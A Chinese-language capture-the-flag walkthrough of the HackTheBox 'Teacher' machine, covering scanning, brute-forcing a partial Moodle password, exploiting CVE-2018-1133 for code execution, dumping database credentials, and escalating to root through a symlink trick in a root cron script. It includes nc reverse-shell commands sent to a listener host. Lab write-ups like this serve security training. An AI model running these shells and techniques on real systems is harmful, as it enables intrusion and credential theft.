nmap

nmap -sV -sC -p- -T4 -oA nmap 10.10.10.153

nmap只發(fā)現(xiàn)了對外開放了80端口，從http-title看出可能是某個中學的官網(wǎng)

http

打開網(wǎng)站確實是一個官網(wǎng)，查看每個接口看看有沒有可以利用的地方

發(fā)現(xiàn)了一個接口，/images/5.png，但是響應包中卻是一段文字

這個Giovanni寫忘記了密碼的最后一個字符，很有可能是想要我們?nèi)ケ┝ζ平?#xff0c;Th4C00lTheacha，再添加最后一個字符，從a-z，A-Z，0-9，在加上常用標點符號，生成一組密碼，找到登錄口后暴力破解進入后臺，嘗試admin/administrator等常見后臺登錄接口也沒反應，直接掃描網(wǎng)站目錄吧

暴力破解

gobuster dir -u http://10.10.10.153/ -w /usr/share/wordlists/dirb/big.txt -o gobuster

最終發(fā)現(xiàn)了這些接口

其中嘗試訪問/moodle接口時，跳轉(zhuǎn)到teacher.htb，嘗試將該域名添加至/etc/hosts

再次訪問該頁面，得到如下結果，看起來像是老師用的界面，wappalyzer顯示這個moodle是一個LMS，可以嘗試獲取版本信息后查閱相關漏洞。之前的用戶Giovanni可能是一個老師，右上角有一個登錄按鈕，嘗試使用剛才得到的用戶名和殘缺的密碼暴力破解登錄系統(tǒng)

首先將登錄時的數(shù)據(jù)包發(fā)送至burpsuite的intruder，在密碼的最后一位添加替換位$password$，之后burpsuite便會自動替換這一位的字符

設置payloads為a-z，A-Z，0-9，常見字符，先試一下，可以看到#相應長度不同于其他

嘗試使用Giovanni/Th4C00lTheacha#登錄系統(tǒng)，成功登陸

使用moodlescan掃描一下目標網(wǎng)站，看看能不能發(fā)現(xiàn)一些東西

python3 moodlescan.py -k-u http://moodle.example.com/<moodle_path>/

掃描結果如下，發(fā)現(xiàn)系統(tǒng)使用的moodle版本為3.4.1

cve-2018-1133

Moodle 允許教師設置包含多種問題的測驗。其中包括計算問題，它允許教師輸入一個數(shù)學公式，該公式將由 Moodle 對隨機輸入變量進行動態(tài)評估。這可以防止學生作弊并簡單地分享他們的結果。例如，教師可以鍵入 什么是 {x} 添加到 {y}？答案公式為 {x}+{y}。 Moodle 然后會生成兩個隨機數(shù)，并將它們插入問答文本中的 占位符 {x} 和 {y} （例如3.9+2.1）。 最后，它將通過調(diào)用安全敏感的 PHP 函數(shù)來 評估答案 6.0eval() 以其惡意潛力而聞名的公式輸入，因為它允許執(zhí)行任意 PHP 代碼。

查看https://www.sonarsource.com/blog/moodle-remote-code-execution/文章獲取更多信息

開始復現(xiàn)該漏洞，首先肯定是要登錄系統(tǒng)

1. 前往Site home–> 點擊Algebra–> 點擊Turn editing on

2. 點擊Add an activity or resource->點擊Quiz->Add

3. 隨便寫點東西然后點擊保存，save and return to course，比如我創(chuàng)建了一個名為test的quiz

4. 點擊test進入，然后選擇編輯edit quiz

5. 進入編輯后，選擇add，在選擇a new question，類型選擇calculated，點擊add添加

6. 然后將上文鏈接文章中的代碼寫入answers中，還要選擇100%，負責會報錯

7. 然后點擊save changes保存配置，下一個頁面無需修改內(nèi)容直接點擊next page即可，在跳轉(zhuǎn)至下一個頁面即可使用“0=”來執(zhí)行遠程代碼，使用nc -e /bin/bash 10.10.*.* 4444將shell傳遞給kali（kali提前監(jiān)聽端口）

www-data

拿到一個www-data權限的shell，用python獲取一個交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在網(wǎng)站根目錄中發(fā)現(xiàn)了很多config文件，打開看看

在config.php中可以看到數(shù)據(jù)庫相關信息

使用查到的數(shù)據(jù)庫信息登錄mysql

use moodle;使用moodle數(shù)據(jù)庫，里面有一張叫mdl_user的表，其中存儲著用戶信息，查看表，發(fā)現(xiàn)列名username和password

查看username和password內(nèi)容

其中最后一行Giovannibak的密碼像是使用了md5加密，解密得到密碼為expelled

查看/etc/passwd發(fā)現(xiàn)并沒有用戶叫Giovannibak，再加上bak很可能意味著這個密碼是giovanni用戶的備用密碼，嘗試使用改密碼切換至giovanni用戶，成功

鏈接到用戶后，我們可以找到user.txt并查看

giovanni→root

在giovanni目錄下，進入tmp目錄，發(fā)現(xiàn)backup_courses.tar.gz每分鐘都在運行，似乎是參與了一個cron job，且該文件屬于root用戶

向靶機上傳pspy工具，檢索所有的cron job

查看backup.sh的內(nèi)容。進入work目錄，將課程目錄添加到tmp/backup_courses.tar.gz中，然后進入tmp目錄，解壓文件，并將tmp中所有文件權限設置為777

腳本由root用戶創(chuàng)建，不能修改

chmod 從不更改符號鏈接的權限；chmod 系統(tǒng)調(diào)用無法更改其權限。這不是問題，因為從不使用符號鏈接的權限。但是，對于命令行中列出的每個符號鏈接，chmod 都會更改指向文件的權限。相反，chmod 忽略遞歸目錄遍歷期間遇到的符號鏈接

在~/work/tmp中創(chuàng)建鏈接：

嘗試在腳本中追加"nc -e /bin/bash 10.10.14.14 1111" >> /usr/bin/backup.sh

開啟監(jiān)聽，等待任務執(zhí)行后，就能收到一個shell，然后就可以查看flag了

over!